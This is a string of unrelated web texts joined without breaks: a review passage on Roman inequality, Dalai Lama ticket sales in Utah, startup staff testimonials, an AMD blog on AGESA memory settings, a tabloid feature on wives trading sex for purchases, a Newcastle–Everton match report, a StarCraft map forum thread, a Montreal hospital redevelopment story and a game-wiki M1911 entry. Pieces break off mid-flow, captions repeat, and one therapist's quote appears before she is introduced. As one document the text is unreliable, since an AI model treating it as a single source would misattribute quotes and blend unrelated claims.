[A]t the end, they make a point that's difficult to parse, yet provocative. They point out that the majority of extant Roman ruins resulted from the economic activities of the top 10 percent. "Yet the disproportionate visibility of this 'fortunate decile' must not let us forget the vast but—to us—inconspicuous majority that failed even to begin to share in the moderate amount of economic growth associated with large-scale formation in the ancient Mediterranean and its hinterlands."
In other words, what we see as the glory of Rome is really just the rubble of the rich, built on the backs of poor farmers and laborers, traces of whom have all but vanished. It's as though Rome's 99 percent never existed. Which makes me wonder, what will future civilizations think of us?
Due to the tremendous demand for tickets to hear the Dalai Lama speak at the Huntsman Center, Sunday, Oct. 18 at 1:30 p.m., the University of Utah is releasing 3,000 obstructed view seats. Half of the tickets will be available for students, faculty and staff during a pre-sale Wednesday, July 29 at 10 a.m. through Friday, July 31 at 10 a.m. At the end of the pre-sale, the remaining seats along with the other 1,500 will be released to the general public. Pre-sale tickets can only be purchased online at utahtickets.com.
The obstructed view seats may not have a view of the Dalai Lama, but will have a clear view of a screen on the center jumbotron.
Tickets will be discounted to $5 for U students, with a limit of two per UCard; $15 for faculty and staff, with a limit of two per UCard and $30 for general community, with a limit of two tickets per purchase. Discounts for students, faculty and staff are only available if a UCard has not already been used to buy tickets.
To receive the discount with your UCard, click on the discount link to the right side of the event page and enter your eight-digit uNID as it appears on your UCard (do not enter a “u”). It is strongly advised to set up an account before tickets go on sale to streamline the purchase.
All local proceeds from the event will go the Utah Tibetan Association to fund the Tibetan Community Center, a gathering place to celebrate and encourage the preservation of Tibetan culture.
“I work in a fluid, fast-paced and transparent environment where there is a huge opportunity to have your voice heard and quickly see the fruits of your efforts.” Paul – Engineering
“I like Kinnek's flat structure, which is based on collaboration and the expectation that everyone should be thinking about the big ideas to make sure the company succeeds.” Jeremy – Supplier Operations
“Everyone at Kinnek is eager to contribute and consider ideas that will push the company forward. Each day is rewarding in its own way - you have the opportunity to think strategically while rolling up your sleeves to get stuff done.” Deeya – Growth
“I enjoy Kinnek because we're a small group of hard-working, passionate, and smart people working together to make something big, and we're willing to stay up late brainstorming, coding, dancing, playing board games, and singing karaoke.” Jenn – Customer Success
“We don't walk in every day to come to work; we walk in every day to succeed. We all share a passion and this company's success pays dividends in more than just monetary profit.” Ross – Customer Success
About Us!
Kinnek is the first large-scale online marketplace for small and medium-sized businesses (SMBs), which allows places ranging from restaurants to microbreweries and bakeries to wineries to easily buy the equipment and supplies they need to open and operate. We’re replacing paper invoicing and calling down trade directories with a seamless quoting process and direct connection to suppliers selling the right products at the best prices. And we offer suppliers an evolving set of tools to easily communicate with and win new business. Combined, we're bringing business purchasing into the digital age.
What is an “AGESA”?
AGESA is an acronym that stands for “AMD Generic Encapsulated System Architecture.” As a brief primer, the AGESA is responsible for initializing AMD x86-64 processors during boot time, acting as something of a “nucleus” for the BIOS for your motherboard. Motherboard vendors take the core capabilities of our AGESA updates and build on them with their own “secret sauce” to create the BIOS files you download and flash. Today, the BIOS files for AMD AM4 motherboards are largely based on AGESA version 1.0.0.4.
Beginning this month, as we promised to you, we began beta testing a new AGESA (v1.0.0.6) that is largely focused on aiding the stability of overclocked DRAM (>DDR4-2667). We are now at the point where that testing can begin transitioning into release candidate and/or production BIOSes for you to download. Depending on the QA/testing practices of your motherboard vendor, full BIOSes based on this code could be available for your motherboard starting in mid to late June. Some customers may already be in luck, however, as there are motherboards—like my Gigabyte GA-AX370-Gaming5 and ASUS Crosshair VI—that already have public betas.
Starting With Virtualization
If you’re the kind of user that just needs (or loves!) virtualization every day, then AGESA 1.0.0.6-based firmware will be a blessing for you thanks to fresh support for PCI Express® Access Control Services (ACS). ACS primarily enables support for manual assignment of PCIe® graphics cards within logical containers called “IOMMU groups.” The hardware resources of an IOMMU group can then be dedicated to a virtual machine.
This capability is especially useful for users that want 3D-accelerated graphics inside a virtual machine. With ACS support, it is possible to split a 2-GPU system such that a host Linux® OS and a Windows VM both have a dedicated graphics cards. The virtual machine can access all the capabilities of the dedicated GPU, and run games inside the virtual machine at near-native performance.
This is certainly a complicated setup for most users, but I have no doubt that there will be a whole lot of you enthusiastically nodding at this news. We’re grateful for your feedback and your patience, and we hope the new support for ACS serves you well.
What's Next For Memory
AGESA 1.0.0.6 officially adds 26 new parameters that can improve the compatibility and reliability of DRAM, especially for memory that does not follow the industry-standard JEDEC specifications (e.g. faster than 2667, manual overclocking, or XMP2 profiles).
The following table spells out all the new parameters, and provides a few words on what they do. Keeping in mind that this is overclocking territory, manual or automated control of these parameters should nevertheless make it a little more straightforward to use DDR4-3200 modules—or faster if you have the talent!1
Parameter Function Values Memory clocks Added dividers for memory clocks up to DDR4-4000 without refclk adjustment. Please note that values greater than DDR4-2667 is overclocking. Your mileage may vary (as noted by our big overclocking warning at the end of this blog). 133.33MT/s intervals (2667, 2933, 3067, 3200, 3333, 3466, 3600, 3733, 3866, 4000) Command rate (CR) The amount of time, in cycles, between when a DRAM chip is selected and a command is executed. 2T CR can be very beneficial for stability with high memory clocks, or for 4-DIMM configurations. 2T, 1T ProcODT (CPU on-die termination) A resistance value, in ohms, that determines how a completed memory signal is terminated. Higher values can help stabilize higher data rates. Values in the range of 60-96 can prove helpful. Integer values (ohms) tWCL/tWL/tCWL CAS Write Latency, or the amount of time it takes to write to the open memory bank. WCL is generally configured equal to CAS or CAS-1. This can be a significant timing for stability, and lower values often prove better. Integer values (cycles) tRC Row cycle time, or the number of clock cycles required for a memory row to complete a full operational cycle. Lower values can notably improve performance, but should not be set lower than tRP+tRAS for stability reasons. Integer values (cycles) tFAW Four activation window, or the time that must elapse before new memory banks can be activated after four ACTIVATE commands have been issued. Configured to a minumum 4x tRRD_S, but values >8x tRRD_S are often used for stability. Integer values (ns) tWR Write recovery time, or the time that must elapse between a valid write operation and the precharging of another bank. Higher values are often beneficial for stability, and values < 8 can quickly corrupt data stored in RAM. Integer values (ns) CLDO_VDDP Voltage for the DDR4 PHY on the SoC. Somewhat counterintuitively, lowering VDDP can often be more beneficial for stability than raising CLDO_VDDP. Advanced overclockers should also know that altering CLDO_VDDP can move or resolve memory holes. Small changes to VDDP can have a big effect, and VDDP cannot not be set to a value greater than VDIMM-0.1V (not to exceed 1.05V). A cold reboot is required if you alter this voltage. Sidenote: pre-1.0.0.6 BIOSes may also have an entry labeled “VDDP” that alters the external voltage level sent to the CPU VDDP pins. This is not the same parameter as CLDO_VDDP in AGESA 1.0.0.6. Integer values (V) tRDWR / tWRRD Read-to-write and write-to-read latency, or the time that must elapse between issuing sequential read/write or write/read commands. Integer values (cycles) tRDRD / tWRWR Read-to-read and write-to-write latency, or the time between sequential read or write requests (e.g. DIMM-to-DIMM, or across ranks). Lower values can significantly improve DRAM throughput, but high memory clocks often demand relaxed timings. Integer values (cycles) Geardown Mode Allows the DRAM device to run off its internally-generated ½ rate clock for latching on the command or address buses. ON is the default for speeds greater than DDR4-2667, however the benefit of ON vs. OFF will vary from memory kit to memory kit. Enabling Geardown Mode will override your current command rate. On/Off Rtt Controls the performance of DRAM internal termination resistors during nominal, write, and park states. Nom(inal), WR(ite), and Park integers (ohms) tMAW Maximum activation window, or the maximum number of times a DRAM row can be activated before adjacent memory rows must be refreshed to preserve data. Integer values (cycles) tMAC Maximum activate count, or the number of times a row is activated by the system before adjacent row refresh. Must be equal to or less than tMAW. Integer values (cycles) tRFC Refresh cycle time, or the time it takes for the memory to read and re-write information to the same DRAM cell for the purposes of preserving information. This is typically a timing automatically derived from other values. Integer values (cycles) tRFC2 Refresh cycle time for double frequency (2x) mode. This is typically a timing automatically derived from other values. Integer values (cycles) tRFC4 Refresh cycle time for quad frequency (4x) mode. This is typically a timing automatically derived from other values. Integer values (cycles) tRRD_S Activate to activate delay (short), or the number of clock cycles between activate commands in a different bank group. Integer values (cycles) tRRD_L Activate to activate delay (long), or the number of clock cycles between activate commands in the same bank group. Integer values (cycles) tWR Write recovery time, or the time that must elapse between a valid write operation and the precharging of another bank. Higher values are often better for stability. Integer values (ns) tWTR_S Write to read delay (short), or the time between a write transaction and read command on a different bank group. Integer values (cycles) tWTR_L Write to read delay (long), or the time between a write transaction and read command on the same bank group. Integer values (cycles) tRTP Read to precharge time, or the number of clock cycles between a READ command to a row and a precharge command to the same rank. Integer values (cycles) DRAM Power Down Can modestly save system power, at the expense of higher DRAM latency, by putting DRAM into a quiescent state after a period of inactivity. On/Off
Until next time
What are you interested in hearing more about in our next AMD Ryzen Community Update? Let us know on Twitter @AMDRyzen!
Robert Hallock is a technical marketing guy for AMD's CPU division. His postings are his own opinions and may not represent AMD’s positions, strategies or opinions. Links to third party sites are provided for convenience and unless explicitly stated, AMD is not responsible for the contents of such linked sites and no endorsement is implied.
But, there is, of course, another trick women can deploy to win over recalcitrant spouses — one as old as time, but rarely admitted to in polite company.
And that is sex.
School receptionist Clare Matthew, 39, with her deep-sea diver husband Rob, 35. During their eight-year marriage, Clare has dangled the promise of an ‘early night’ to secure an astonishing number of purchases — for their Colchester home and as treats for herself
There are few more powerful weapons in the marital arsenal — especially years in to a relationship, when the fires of passion are fading, eroded by childcare, work and familiarity.
Yet using sex as a bargaining chip to get what you want remains one of the last taboos in these sexually liberated times, a great unspoken truth — despite the fact it’s a dynamic which, to varying degrees, lies at the heart of most marriages.
But there are some women brave enough to lift the lid on this most controversial form of bartering. And they confess that they either use sex by offering it up like a particularly tantalising prize or withholding it until their man accedes to their demands.
As they testify, such a practice can get you everything from luxury Caribbean holidays to designer spending sprees. Moreover, these women see little shame in their behaviour, instead saying their exploitation of their husband’s weakness is just another part of marital politics.
Claire says: ‘The truth is Rob will do anything for sex. And so I use this fact mercilessly to negotiate what I want for me, for my home, for our future’
Clare Matthew, 39, a school receptionist, is one such wife. And she says that using sex as a weapon has only strengthened her marriage to Rob, a 35-year-old deep-sea diver.
‘The truth is Rob will do anything for sex,’ she says. ‘And so I use this fact mercilessly to negotiate what I want for me, for my home, for our future.’
During their eight-year marriage, Clare has dangled the promise of an ‘early night’ to secure an astonishing number of purchases — for their Colchester home and as treats for herself.
The list of things gained in such a way is, she says, endless. ‘There has been a £900 washing machine, a £200 direct marketing course and constant upgrades of furniture, including a £1,100 dining table and chairs. For myself, I enjoy splurging on regular massages for a bit of “me” time. I’ve also treated myself to countless pairs of shoes and a Michael Kors watch that cost £180.’
Clare says she first used her feminine wiles in the bedroom as a tactic for ‘a bit of a joke’ six years ago.
Clare and Rob Matthew with their kids Sophie, seven, and Ben, six, on a Halloween break at Alton Towers on 2016. The couple's bedroom is out of bounds to their children
Clare and Rob Matthew with their children on holiday to New York in 2015
‘The first time I did it, I was amazed it worked. I wanted a pink Laura Ashley bedroom. I love pretty country-style florals. But it is rather feminine, so Rob wouldn’t agree to it. He’s an ex-Army man and has served in Afghanistan — I can understand why it wasn’t to his taste.
‘But I really, really wanted this look. In an off-the-cuff remark I jokingly promised him a night he wouldn’t forget if he agreed. I got my girlie bedroom. It was that easy! Since then, I’ve used it whenever I’ve needed to.’
Their bedroom is out of bounds to their children, Sophie, seven, and Ben, six. ‘They know it’s where Mum and Dad sleep together and they each have their own room,’ says Clare. ‘Rob and I have a rule that we always go to bed together. Once we’re snuggled under the duvet, it’s then we’ll talk. We’re a very tactile couple and Rob adores a backrub. It helps that he is at his most pliable then too.
‘I’ll only pick my moment if I sense he’s sufficiently relaxed. Call it feminine intuition, but then if I whisper in his ear about booking our holiday, for example, he’ll say yes. He’s never said no.’
The first time Claire used sex as a bargaining tool was to get a pink Laura Ashley bedroom
Claire says: ‘I have a very low sex drive. Only 20 per cent of our lovemaking is for pleasure. The rest of the time I use sex for negotiating. While I do make myself get into the swing of it, there are times I lie there and, for example, think of my Laura Ashley bedroom'
‘I have a very low sex drive. Only 20 per cent of our lovemaking is for pleasure. The rest of the time I use sex for negotiating. While I do make myself get into the swing of it, there are times I lie there and, for example, think of my Laura Ashley bedroom.
‘Giving my husband what he wants means I get what I want. We’re both happy. It doesn’t mean I don’t fancy my husband, I do and I love him to bits. But our sex drives are so different. It’s human nature to put more of an effort into lovemaking when I know there is something for me at the end of it.’
Today, Clare says not only is such behaviour normal in her social circle, but that she even swaps tactics with girlfriends. Indeed, she insists that every wife, deep down, is keen to ensure that she gets what she wants out of her marriage.
‘Rob isn’t a fool, he’s perfectly aware what’s going on. We both have different needs. I love shopping, he loves sex. This way both our passions can be met. I do sometimes push his patience, though. I recently spent £200 on our credit cards when he told me not to.
Hayley Garbutt, 49, used sex to get husband Maurice, a 51-year-old engineer, to book a holiday to the Carribean
Hayley says: ‘Maurice hates shopping, whereas I can shop for England. However, I only have to say the word “extra!” to him and he’ll keep quiet for the rest of the day. It’s our code word for what he likes between the sheets. Knowing he is on a promise means I can keep shopping’
‘We’re moving house and every penny counts. He was so furious that in the end I had to promise him — and deliver — some quality “sexy time”.
‘Some may accuse me of behaving like a prostitute. But I disagree. I believe that what you put into relationship, you get out. And I have no doubt that our marriage will last.’
However, psychotherapist Jennie Miller, who specialises in couple counselling, is uneasy about what she believes is essentially a form of manipulation.
‘I have huge misgivings over someone using the sex part of a relationship as a bargaining chip rather than as a loving act which brings you closer together. These sorts of tactics aren’t part of a grown-up relationship.’
Yet Hayley Garbutt says her tight control over her love life is what keeps their marriage alive. When analysing her relationship with Maurice, a 51-year-old engineer, Hayley is emphatic: ‘I’m the dominant person in our relationship.
‘For example when we were booking our holiday recently, we talked about taking just a week off for some winter sun.
‘At first I was looking at Cape Verde or Spain, but I really fancied a break in the Caribbean. I wanted to go to the Dominican Republic. Yet travelling so far for just a week seemed ridiculous.
‘So when I found a package holiday for a fortnight, I pleaded with Maurice to take another week off work. He moaned about having to use holiday from this year’s allowance.
‘However, I know Maurice likes me to dress sexily in the bedroom, so I did just that — and got the holiday. I don’t feel bad. Men like strong women.’
The couple, who live near Scarborough, married just six years ago — although they were once teenage sweethearts. Hayley, a dog groomer, believes it is vital for women to maintain standards in their marriage.
Hayley and Maurice on holiday. She says: ‘If I’m honest the sex is always better when we’re engaged in this back and forth “dance”. I make much more of an effort, and there’s a frisson of electricity in the air even before we’ve started'
‘It’s important to look your best for your other half. I’m a fun and bubbly person, but I like to look glamorous. Even though I’ll be 50 next January, I’m not going to let myself go.’ Indeed, Hayley claims her well-kept looks and figure are part of why it’s ‘easy’ to talk Maurice into purchases.
‘Maurice hates shopping, whereas I can shop for England. However, I only have to say the word “extra!” to him and he’ll keep quiet for the rest of the day. It’s our code word for what he likes between the sheets. Knowing he is on a promise means I can keep shopping.’
Hayley isn’t always successful in getting what she wants. ‘It took me a while to get some new lighting for the kitchen. Maurice didn’t think we needed new ones. I did. So I thought OK, you wait.
‘We went to bed that night and he started stroking my skin, which is always what he does when he wants sex. I primly said: ‘‘Not tonight, Maurice.’’ When he asked why, I just came right out with it, saying: “Remember the lighting?” I won’t back down. It took a couple of nights.
‘But even though I know how to play him, I’m never nasty with it. Once, I wanted us to book a holiday, so I greeted him home from work in a dressing gown. He thought I was ill — but underneath I had on some lovely lingerie.
‘After he’d eaten, I took him to bed and reminded him how his sex drive increases in the sunshine. The holiday was soon booked.
Offering sexual favours is deeply troubling. What happens when you lose your libido while going though the menopause or long-term illness? What do you fall back on? This isn’t sustainable.’
‘If I’m honest the sex is always better when we’re engaged in this back and forth “dance”. I make much more of an effort, and there’s a frisson of electricity in the air even before we’ve started.’
However, therapist Lizzie Falconer has serious misgivings about such sexual bartering — and believes the women who use these techniques in the bedroom are degrading themselves.
‘Offering sexual favours is deeply troubling. What happens when you lose your libido while going though the menopause or long-term illness? What do you fall back on? This isn’t sustainable.’
While many wives swear by all-out seduction for getting what they want, others say withholding sex is just as effective. Former model Kimberley Nicholl Thomas, 35, admits she does just this when negotiating with her husband, Martin, a 41-year-old painter and decorator.
‘The term “football widow” could have been invented for me. When it’s one weekend after another it gets a bit much. That’s why when I’ve had enough I refuse him sex.
Nowadays, he recognises the signs. Normally we sleep naked, but on the nights I’m withholding sex, I’ll be wearing my pyjamas and the light will be off. He knows then that sex is off limits. It rarely takes more than a week for him to give in — and prioritise time with me and the family over matches with his friends.’
Newcastle beat Everton 3-2 at St James’ Park thanks to goals from Papiss Cisse, Ayoze Perez and Jack Colback, giving Alan Pardew’s side a first win in three games.
Everton were ahead after five minutes thanks to Aroune Kone’s near-post finish, but there was controversy just before Newcastle’s equaliser at St James’ Park.
Cisse reacted to tussling inside the area by elbowing Seamus Coleman in the face, but with the referee Craig Pawson failing to see the incident, the striker converted from eight yards moments later to bring the hosts level.
Jack Colback was delighted to score his first goal for Newcastle in the 3-2 win over Everton. Jack Colback was delighted to score his first goal for Newcastle in the 3-2 win over Everton.
Newcastle were ahead shortly after the break through Perez, who slotted into the bottom corner from the edge of the area, before substitute Ross Barkley’s mistake handed Colback the ball on a plate for a two-goal lead.
Kevin Mirallas halved the deficit with six minutes remaining, but Newcastle held on for three points after a nervy finish.
Everton have now lost their last three games in the Premier League, leaving them in 12th.
But they started the brighter on Sunday, and went in front thanks to Kone, who started at the expense of Romelu Lukaku.
Aiden McGeady released Seamus Coleman down the right, and the Irishman’s pin-point cross was converted high into the net by Kone, who had found space ahead of two Newcastle defenders.
Jack Colback: Celebrates his first goal for Newcastle
Newcastle reacted well, but Moussa Sissoko’s heavy touch let him down after being put through on goal by Cisse.
Just after the half-hour mark, Cisse was involved in a tussle inside the penalty area with Coleman, elbowing the Everton man in the face having been held from a corner. Referee Pawson missed the incident, and it proved costly just a minute later.
Cheick Tiote’s cross deep into the area was turned back at the far post by Mike Williamson for Cisse to convert, wrapping his foot around the ball eight yards out.
The hosts could have been ahead in first-half injury time, but Daryl Janmaat’s effort six yards from goal at the far post was blocked well by Sylvain Distin.
Roberto Martinez: Unacceptable that Papiss Cisse was not sent off Roberto Martinez: Unacceptable that Papiss Cisse was not sent off
Newcastle nearly scored straight after the restart, Joel Robles doing well to turn the ball away after his own defender Antolin Alcaraz had knocked the ball goalwards.
But the hosts got their lead on 51 minutes after Tiote found Perez on the edge of the area, turning before cooly slotting low into the left corner despite being in a confined space.
Samuel Eto’o wasted a good opportunity for Everton after being found by Leighton Baines 15 yards from goal, and the visitors were made to pay again.
Substitute Ross Barkley failed to control a through ball into the box from Janmaat, gifting it to Colback for the midfielder to push through the legs of Joel Robles for his first Newcastle goal.
Kevin Mirallas, another replacement, made it a nervy final six minutes for the hosts, chipping over Alnwick with style after a fine through ball from Baines.
And as both sides attacked in the late stages of the match, it was Newcastle who could have made matters safe, Perez hitting the post after a superb driven effort from the edge of the area.
Player ratings
Newcastle: Alnwick (6); Janmaat (7), Coloccini (6), Williamson (6), Dummett (7); Perez (8), Sissoko (7), Tiote (6), Colback (7), Gouffran (6); Cisse (6)
Subs: Cabella (6), Riviere (6)
Everton: Joel (6), Coleman (7), Distin (6), Alcaraz (5), Garbutt (6), Baines (7), Barry (6), McCarthy (5), McGeady (6), Eto'o (5), Kone (6)
Subs: Lukaku (6), Mirallas (7), Barkley (5)
Man of the match: Ayoze Perez
Welcome to the labrynth of wonders my friend! Ha~
explanation of da map featurez
+ Show Spoiler [old imgz lolz] +
This map is definitely a joke. It is not balanced, it is designed for "wtf" and "awesome."
12 Players, critters blocking the the natural.
Rocks blocking all the free $, some bases suck to spawn at mroe than others. Luck of the draw I suppose! :}
Enjoy with your friends! Welcome to the labrynth of wonders my friend! Ha~explanation of da map featurezThis map is definitely a joke. It is not balanced, it is designed for "wtf" and "awesome."12 Players, critters blocking the the natural.Rocks blocking all the free $, some bases suck to spawn at mroe than others. Luck of the draw I suppose! :}Enjoy with your friends! ESV Mapmaking Team || http://twitter.com/prodiGsc || Real talk, I don't have time to sugar-coat it for you sir
JCpingpong Profile Joined May 2010 Canada 35 Posts #2 lolz
AbyssV3 Profile Joined April 2010 United States 167 Posts #3
Also, the naturals have a Ragequit.tv Logo in them. He's bad and forgot to mention that this map was made completely live on RAGEQUIT.tv specifically to be used during the 48 Hours Marathon cast event (Thread: http://www.teamliquid.net/forum/viewmessage.php?topic_id=144779) - so yea.Also, the naturals have a Ragequit.tv Logo in them. QuakeNet #ragequit.tv - http://www.RAGEQUIT.tv - Home of Ipp, World Famous Elmer Fudd accent
rS.Sinatra Profile Joined May 2010 Canada 785 Posts #4 lol wtf? www.rsgaming.com
Loser777 Profile Blog Joined January 2008 1919 Posts #5 Haha the FFFFFFFFUUUUU is at a fitting spawn location 6581
Sadistx Profile Blog Joined February 2009 Zimbabwe 5494 Posts #6 It's not balanced. Problem? :trollface:
McCheese Profile Joined July 2010 208 Posts #7 How do you add pictures or custom textures to the editor / map?
prodiG Profile Blog Joined January 2010 Canada 2014 Posts #8 On August 19 2010 14:40 McCheese wrote:
How do you add pictures or custom textures to the editor / map?
Those are all stenciled out by hand. Those are all stenciled out by hand. ESV Mapmaking Team || http://twitter.com/prodiGsc || Real talk, I don't have time to sugar-coat it for you sir
ohN Profile Blog Joined November 2009 United States 1074 Posts #9 Lol this reminds me of the seven sins map from BW.
Imbalanced as hell but still a lot of fun to play with a few friends.
McCheese Profile Joined July 2010 208 Posts #10 No way. They are too perfect...Because I know there is a way to import images and paste them on the terrain some how but I'm not sure how. =/
prodiG Profile Blog Joined January 2010 Canada 2014 Posts #11 On August 19 2010 14:43 ohN wrote:
Lol this reminds me of the seven sins map from BW.
Imbalanced as hell but still a lot of fun to play with a few friends.
\o/
\o/ On August 19 2010 14:45 McCheese wrote:
No way. They are too perfect...Because I know there is a way to import images and paste them on the terrain some how but I'm not sure how. =/
I kind of streamed the map being created start to finish I kind of streamed the map being created start to finish ESV Mapmaking Team || http://twitter.com/prodiGsc || Real talk, I don't have time to sugar-coat it for you sir
AbyssV3 Profile Joined April 2010 United States 167 Posts Last Edited: 2010-08-19 05:54:51 #12 he stenciled them by hand. I watched him do it. It was crazy.
Also, I just played in the first 12man FFA on this map, and I won.
gg
Oh and, amazing map once the levels are fixed. They were just too glitchy, even though they were funny. QuakeNet #ragequit.tv - http://www.RAGEQUIT.tv - Home of Ipp, World Famous Elmer Fudd accent
McCheese Profile Joined July 2010 208 Posts #13 Well you made everyone look perfect. xD good job. I gotta find how to import images and things tho. =/
prodiG Profile Blog Joined January 2010 Canada 2014 Posts #14 Be sure to tune in this weekend to solve the mystery of Sun's lost command center! ESV Mapmaking Team || http://twitter.com/prodiGsc || Real talk, I don't have time to sugar-coat it for you sir
AbyssV3 Profile Joined April 2010 United States 167 Posts #15 You can't see it but the naturals all have RAGEQUIT.tv logos in them. It's pretty epic. QuakeNet #ragequit.tv - http://www.RAGEQUIT.tv - Home of Ipp, World Famous Elmer Fudd accent
prodiG Profile Blog Joined January 2010 Canada 2014 Posts #16 I'm going to post a less broken version tomorrow. Stay tuned~ ESV Mapmaking Team || http://twitter.com/prodiGsc || Real talk, I don't have time to sugar-coat it for you sir
neobowman Profile Blog Joined March 2008 Canada 3319 Posts #17 On August 19 2010 14:52 prodiG wrote:
Show nested quote +
On August 19 2010 14:43 ohN wrote:
Lol this reminds me of the seven sins map from BW.
Imbalanced as hell but still a lot of fun to play with a few friends.
\o/ \o/
This map is awesome, but in all honesty, Seven Sins was a pretty damm balanced map for all its positional variety. It was brilliantly executed. This map is more of a joke map. This map is awesome, but in all honesty, Seven Sins was a pretty damm balanced map for all its positional variety. It was brilliantly executed. This map is more of a joke map. AKA: DayNife on steam. HMU for things.
AbyssV3 Profile Joined April 2010 United States 167 Posts #18 On August 19 2010 14:55 prodiG wrote:
Be sure to tune in this weekend to solve the mystery of Sun's lost command center!
lololol definitely one of the highlights of the night. "WHERE'S MY COMMAND CENTER?" lololol definitely one of the highlights of the night. "WHERE'S MY COMMAND CENTER?" QuakeNet #ragequit.tv - http://www.RAGEQUIT.tv - Home of Ipp, World Famous Elmer Fudd accent
Fisher Profile Joined July 2010 United States 119 Posts #19 nice map. played it......got a few laughs. died....good times :D
konadora Profile Blog Joined February 2009 Singapore 49694 Posts #20 looool wtf HAHAHA POGGERS
The $400 million project is being subjected to two days of scrutiny organized by the city's public consultation body, the Office de consultation publique de Montréal (OCPM).
Community groups and concerned citizens took turns expressing misgivings with developer Devimco's proposal, which would radically alter the urban landscape at the corner of René-Lévesque Boulevard and Atwater Street.
Not on a 'human scale'
While the current plans for the site include 160 social housing units, Habiter Ville-Marie — a coalition of downtown community groups — said the units should be geared towards families instead of seniors.
Éric Michaud, a Habiter Ville-Marie spokesperson, told the meeting the coalition was also concerned about the density of the development, which he recommended be reduced "to permit a project that will be more on a human scale."
These concerns were echoed by City Hall Opposition, Projet Montréal, which questioned how Devimco's proposal would make the downtown core more accessible to families.
"It is totally unrealistic to believe that a family wishing to settle in Montreal will consider a 700 square-foot apartment or condominium," Projet's leader, Valérie Plante, said in a statement.
"The Children's redevelopment project must include large units of at least 1,000 square feet."
Condos would make up the bulk of the residential units in the development that would replace the former Montreal Children's Hospital, but there are also plans for social housing and a hotel. (Benoît Chapdelaine/Radio-Canada)
Others expressed concern that the proposed towers, which are slated to reach between 60 and 120 metres high, would dwarf the newly renovated Cabot Square.
"We feel putting such a high tower at Atwater is going to crush the square that we just invested so much money in," said Dinu Bumbaru of Heritage Montreal.
Bumbaru also called on the developer to preserve the shuttered hospital's D Wing, which he described as a "wonderful art deco building."
Developer defends project but open to changes
Devimco's urban planner, Brian Fahey, said building higher is necessary to reduce the footprint of the towers and to allow for more green space, which will be open to the public.
He also indicated that Devimco would be open to including a school in the plans for the site, the absence of which was criticized by Projet Montréal.
The public hearings continue Tuesday at the OCPM's offices on Metcalfe Street. (Devimco)
"We've been opening discussions with the (Commission Scolaire de Montréal) in order to see if there's the feasibility to have a school," Fahey said.
So far the city has given its blessing to the design, which includes 1,400 residential units, a community centre, a park and a new municipal library.
There will also be a commercial component, with offices, stores and a 250-room hotel.
Demolition could begin this summer
Montreal executive committee member Richard Bergeron praised Devimco's proposal when it was unveiled last year, saying it addressed the city's need for high-density, mixed-use development.
The public hearings continue Tuesday at the OCPM's offices on Metcalfe Street.
The organization will then prepare a report for the city's executive committee, which must approve a zoning change for the development to go ahead.
M1911 Overview Weapon Type Secondary Weapon Weapon Class Pistol Rank Prerequisites Rank 8 Damage 52 -> 33 Range 25 max -> 80 min Accuracy Hip Accuracy Sight Accuracy Magazine Size 8, 9 with round in chamber Ammo Reserve 48 Fire Modes Semi Rate of Fire 720 RPM Advanced WEAPON BALLISTICS TTK (Time to Kill) 0.083 s Head & Body Multiplier Hitbox
per bullet/pellet Range Max (25 studs) Min (80 studs) (x1.4) Head 72.8 46.2 (x1.1) Torso 57.2 36.3 (x1) Arms and Legs 52 33 Red color signifies a fatal hit. And all damage value in-game are rounded down . (e.g. 99.99 is counted as 99). Suppressed Stats Suppressor/Bullet Attachment Suppressed Damage Suppressed Range R2 Suppressor 49.4 -> 31.35 23.75 max -> 76 min Suppressor 46.8 -> 33 22.5 max -> 80 min Armor Piercing 52 -> 27.5 25 max -> 0 min Hollow Point 43.33333 -> 39.6 25 max -> 80 min Muzzle Velocity 1500 studs/s Penetration Depth 0.5 studs Suppression 0.2 ACCURACY 21 Hipfire Camera Recovery Speed 15 Sight Camera Recovery Speed 18 Weapon Recovery Speed 26 Weapon Recoil Damping 0.5 HIP ACCURACY 35 Min Camera Kick (1.00, -0.61, -0.31) Max Camera Kick (1.20, -0.11, 0.30) Min Recoil Displacement (-0.50, 1.60, 5.19) Max Recoil Displacement (0.80, 2.09, 7.80) Min Recoil Rotation (10.19, -1.00, -0.31) Max Recoil Rotation (12.30, 1.20, 0.30) Hipfire Spread Factor 0.08 Hipfire Recovery Speed 9 Hipfire Spread Damping 0.70 SIGHT ACCURACY 23 Min Camera Kick (1.60, -0.11, -0.31) Max Camera Kick (2.00, 0.10, 0.30) Min Recoil Displacement (-0.11, 3.50, 7.19) Weapon Shot Displacement (0.10, 3.70, 7.80) Min Recoil Rotation (10.60, -1.80, -0.31) Max Recoil Rotation (12.30, 1.20, 0.30) Sight Magnification 1.8x WEAPON HANDLING Reload Time 2.3 seconds Empty Reload Time 2.6 seconds Equip Speed 16 Aiming Speed 20 Crosshair Size 20 Crosshair Spread Rate 500 Crosshair Recover Rate 15 MISCELLANEOUS Weapon Walk Speed 15 stud/s Aiming Walk Speed 8.4 stud/s Ammo Type .45 ACP Round in Chamber One Shot Suppression Range None
List of Attachments Optics Kills Required Mini Sight 175 Kills Delta Sight 70 Kills Full Ring Sight 50 Kills Half Ring Sight 90 Kills Underbarrel Kills Required Flashlight 0 Kills Barrel Kills Required Compensator 120 Kills Muzzle Brake 175 Kills R2 Suppressor 40 Kills Flash Hider 100 Kills Suppressor 30 Kills Other Attachments Kills Required Laser 20 Kills Hollow Point 2000 Kills Armor Piercing 1000 Kills
The M1911 is an American Pistol. It is unlocked at Rank 8 or can be purchased with credits (CR).
Contents show]
History
The M1911 is a single action semi-automatic pistol invented by famous firearms designer, John Moses Browning. It should be noted that the Colt 1911 name is a copyright obligation, as even before WW2, Remington Rand, the government's Springfield Armory, and many other companies also manufactured the US military's 1911.
The M1911 fires the powerful .45 ACP cartridge (11.43x23mm). It replaced all other handguns in every U.S military branch as the standard service handgun, which had mostly been revolvers. It was eventually replaced as the standard U.S sidearm by the Beretta 92FS, designated the M9, in 1985. However, it was not entirely replaced and it's still in the U.S irregular and special service up to the present day.[1] The M45 MEUSOC, (Marine Expeditionary Unit; Special Operations Capable) which is seen in-game as the M45A1, is an upgrade to the M1911, designed for use by the U.S Marine Corps; being the standard-issue sidearm for the Force Recon element of the USMC since 1985.
The M1911 is considered a very simple and reliable weapon but also quite powerful and ultimately battle-proven, seeing use in multiple conflicts such as WW1, WW2, Korea, Vietnam and more. Due to these characteristics, the M1911 is extremely popular amongst civilians and armed forces around the world. Many manufacturers make their own M1911 with many modifications, such as barrel modifications, cartridge modifications, etc.
